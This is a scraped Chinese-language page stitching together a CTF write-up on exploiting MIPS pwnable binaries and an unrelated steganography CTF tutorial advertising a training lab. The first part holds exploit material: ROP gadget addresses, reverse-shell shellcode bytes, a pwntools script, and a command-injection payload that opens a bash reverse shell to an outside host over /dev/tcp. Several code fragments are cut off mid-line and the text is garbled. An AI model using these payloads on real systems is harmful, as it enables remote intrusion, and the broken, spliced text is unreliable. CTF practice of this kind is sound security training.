0x76714b14: move t9,s1 0x76714b18: jalr t9 ''' gadget2 = 0x766ec7 socket_bof 这题二进制文件用 ida 看伪代码有点瑕疵，本来溢出点变成了一个指针，导致一直找不到，最后无奈去看了下源码和结合汇编。 #include <sys/types.h> #include <sys/socket.h> #include <netdb.h> #include <stdio.h> #include <string.h> #include <stdlib.h> // Pwnable Socket Program // By b1ack0wl // Stack Overflow int main(int argc, char **argv[]) { if (argc <2){ printf("Usage: %s port_number - by b1ack0wl\n", argv[0]); exit(1); 栈溢出在这句 sprintf(endstr, "nom nom nom, you sent me %s", str); str 是 socket 传入的数据，长度内容为我们所控制，溢出 padding 为 51 调试方法 在 ubuntu 16.04 下 gdb-multiarch target remote :1234 链接上后报错退出，切换到 attify 能继续使用最常规方式调试：qemu-user 模式加 -g 打开调试端口，gdb-multiarch target remote :1234 链接上去。 # terminal 1 sudo qemu-mipsel-static -L . -g 1234 -strace ./pwnable/ShellCode_Required/socket_bof 8884 # terminal 2 gdb-multiarch set architecture mips set endian little target remote :1234 另外一个调试方法是 qemu system 启动 mips 系统，然后传入一个 gdb-server ，在里面运行程序然后 gdb-server attach 程序，再在外面用 gdb 链接上去。 attify 里面 gdb 插件是 gef ，用 vmmap 读不出 libc 地址 曲线救国在 0x00400D34 打下断点，单步跟进去查看 sprintf 的真实地址，然后再从 ./lib/libc.so.0 读取偏移算出基地址 全部题目用的 libc 都同一个，需要 shellcode 的题目，换下 shellcode 就能通用 exp 。前面 stack_bof_02 是在 ubuntu16 里面的脚本 libc_base 和 attify 不一样要换下基地址。 Stack_bof_02 的 execve('/bin/sh') 能打通 找一个反弹 shell 的 shellcode 替换，或者将 shell 绑定到某个端口 绑定 shell 的 shellcode 预期是开在本地的 4919 端口，实际运行后发现并不是，要自己查端口 -。- ，然鹅 nc 连上去后程序会蹦掉。 反弹 shell 的 shellcode 预编是反弹到 192.168.1.177:31337 ，要么修改网卡 ip ，要么就改一下 shellcode 传入的 ip 将 ip 地址转换成 16 进制 hex(192)#0xc0 hex(168)#0xa8 hex(1) #0x01 hex(177)#0xb1 #192.168.1.177==>0xB101A8C0 编译一下，编译失败看看是不是 binutils 没装 from pwn import context.arch = "mips" context.endian = "little" asm("li $a1, 0xB101A8C0") 然后搜索 \x01\xb1\x05\x3c\xc0\xa8\xa5\x34 替换为自己编译的： stg3_SC = "\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04\x28" stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01" stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01" stg3_SC += "\x27\x28\x80\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x0 EXP #!/usr/bin/python from pwn import * context.arch = 'mips' context.endian = 'little' libc_addr = 0x4089b000#0x766e5000 sleep = 0x0002F2B0 gadget1 = 0x2fb10 ''' 0x76714b10: li a0,1 0x76714b14: move t9,s1 0x76714b18: jalr t9 ''' gadget2 = 0x7730 ''' 0x766ec730: lw ra,40(sp) 0x766ec734: lw s3,36(sp) 0x7 socket_cmd EXP 依次打开终端运行 #terminal 0 qemu-mipsel-static -L . -strace ./pwnable/ShellCode_Required/socket_cmd 9999 #terminal 1 nc -lvvp 31337 #tarminal 2 nc 127.0.0.1 9999 hacked|`bash -c "bash -i >& /dev/tcp/192.168.211.9/31337 0>&1"` 是 iot 用户 nc 链接上去程序，程序是用 sudo 起来，所以切换到 root Uaf_01&heap_overflow 剩下两题 heap_overflow 和 uaf_01 没有什么思路，都是输入一次然后程序就退出了。 uaf_01 重新申请相同 0x11 ，就跳转 Awesome 那个分支，但没啥用。 heap_overflow 有个后门，输入机会只有一次，然后程序就会关掉。 参考文章 https://ctf-wiki.org/pwn/linux/mips/mips_rop/https://xz.aliyun.com/t/1511https://www.cnblogs.com/hac425/p/9416864.html 用实战磨练技术，加入网安实验室，1300+网安技能任你学！

你是否正在收集各类网安网安知识学习，蚁景网安实验室为你总结了1300+网安技能任你学，https://www.yijinglab.com/loginLab.do#stu>>  今天要介绍的是CTF练习中的Stegano隐写题型。做隐写题的时候，工具是很重要的，接下来介绍一些工具。 1、TrID TrID是一款根据文件二进制数据特征进行判断的文件类型识别工具。虽然也有类似的文件类型识别工具，但是大多数都是使用硬编码的识别规则，而TrID则没有固定的匹配规则，TrID具有灵活的可扩展性，可以通过训练来进行文件类型的快速识别。 TrID通过附加的文件类型指纹数据库来进行匹配，可用于取证分析、未知文件识别等用途。 2、Audacity Audacity是一款自由且免费的音频编辑器和录音器。它是在Linux下发展起来的，有着傻瓜式的操作界面和专业的音频处理效果。使用Audacity可以帮助我们快速解决CTF中一些音频相关的题目。 这个实验还需要了解一些摩尔斯电码。 摩尔斯电码（Morse Code）是一种时通时断的信号代码，通过不同的排列顺序来表达不同的英文字母、数字和标点符号。是由美国人萨缪尔·摩尔斯在1836年发明。 摩斯码使用点（.）和横线（-）来表示各种字符，我们只需要知道某一串字符是摩斯码，然后使用解码工具进行解码即可。 实验内容和步骤 本次实验链接地址：https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014121211151300001 来看实验描述：在实验主机上的C:\Stegano\1目录下为本题所提供的文件，请对这些文件进行分析，找到一个flag{XXXX}形式的Flag字符串。 来看实验打开cmd命令行，切换到C:\Stegano\1目录，然后使用TrID对其进行文件类型识别，如图所示： TrID对该文件的识别结果为：85.7%的可能性为XZ文件，14.2%的可能性为QuickBasic BSAVE文件。我们通过搜索引擎可以了解到XZ文件是一种压缩文件，因此可以使用7Zip进行解压（实验机器已经安装7Zip，右键选择通过7Zip解压即可）。 解压之后我们得到新文件hello_forensics~，仍然是一个没有扩展名的文件，我们再次使用TrID进行识别，得到的结果如图所示： TrID认为这是一个OGG文件。OGG是一种音频文件格式，大家如果平时有留意的话，在手机上一定见过这样的文件，许多手机内置的音效就是以OGG文件格式存在的。 接下来就是要用到我之前提到的Audacity，使用桌面上的Audacity工具打开我们提取出来的OGG文件，默认会显示音频文件左右两个声道的波形图，如图所示： 按住键盘左下角的Ctrl按键，同时滚动鼠标滚轮即可对波形图进行放大或者缩小操作，这里我们将波形图进行放大，然后播放OGG文件，我们发现在中间的某一个区间内夹杂着一些“滴滴”的声音，实际上这里是播放的摩斯码，通过对声道的波形图观察，可以看到如下的特征：（实验时可能无法通过远程桌面听到实验机器发出的声音，因此这里提供原始题目文件以及相关工具的下载，地址为http://heetian.qiniudn.com/steg.txt，大家可以下载下来在本地测试） 在Audacity中，将波形图放得越大，就越能明显的看到对应的摩斯码特征，通过对声音波形图的分析，我们可以得到摩斯码（摩斯码从第18秒开始播放，如果两段“滴滴”声之间的时间间隔在7~8秒左右，则认为是两个不同的摩斯码之间的分隔，用空格表示，如果两段“滴滴”声之间的时间间隔在2~3秒左右，则认为是同一个摩斯码的内容）。分析后得到的摩斯码为“.- ... - .- .-. .. ... -... --- .- .-. -.”，打开桌面上的JPK，将摩斯码输入之后，依次选择菜单项“Ascii”、“Decode”、“DeMorse”，得到字符串ASTARISBOARN。 通过实验步得到字符串ASTARISBOARN，将其当做密码对压缩包进行解压测试，发现可以成功解压，得到一个PDF文件。这个PDF文件直接看上去似乎没有什么有用的信息，但是对其中的文字进行选择操作的时候，发现页眉和页脚中似乎有一些不可见的文字，如图所示： 这里我们通过Ctrl+A对其中的文本进行全选，然后粘贴到记事本里面去，得到两个可疑的字符串： VjIweE5HRkdiM3BrUnpGT1UwVndjMWx0Y0ZkalJtd zJWbTFhYUZkRk5XMVhiVFZYWkZWc1dVMUVNRDA9 我们解密一下，将两个字符串拼接起来后进行Base64解码，得到另一个字符串V20xNGFGb3pkRzFOU0Vwc1ltcFdjRmw2Vm1aaFdFNW1XbTVXZFVsWU1EMD0=，仍然是Base64加密，经过这样的几次Base64解码之后，最后得到字符串flag{f0ren5ic5_is_fun!}，这就是题目所要求要找的Flag字符串了。 CTF真是防不胜防，还顺便了解一下摩尔斯电码。这次实验真的是很有意思，解题过程比较简单，但是思路很重要。 用实战磨练技术，加入网安实验室，1300+网安技能任你学！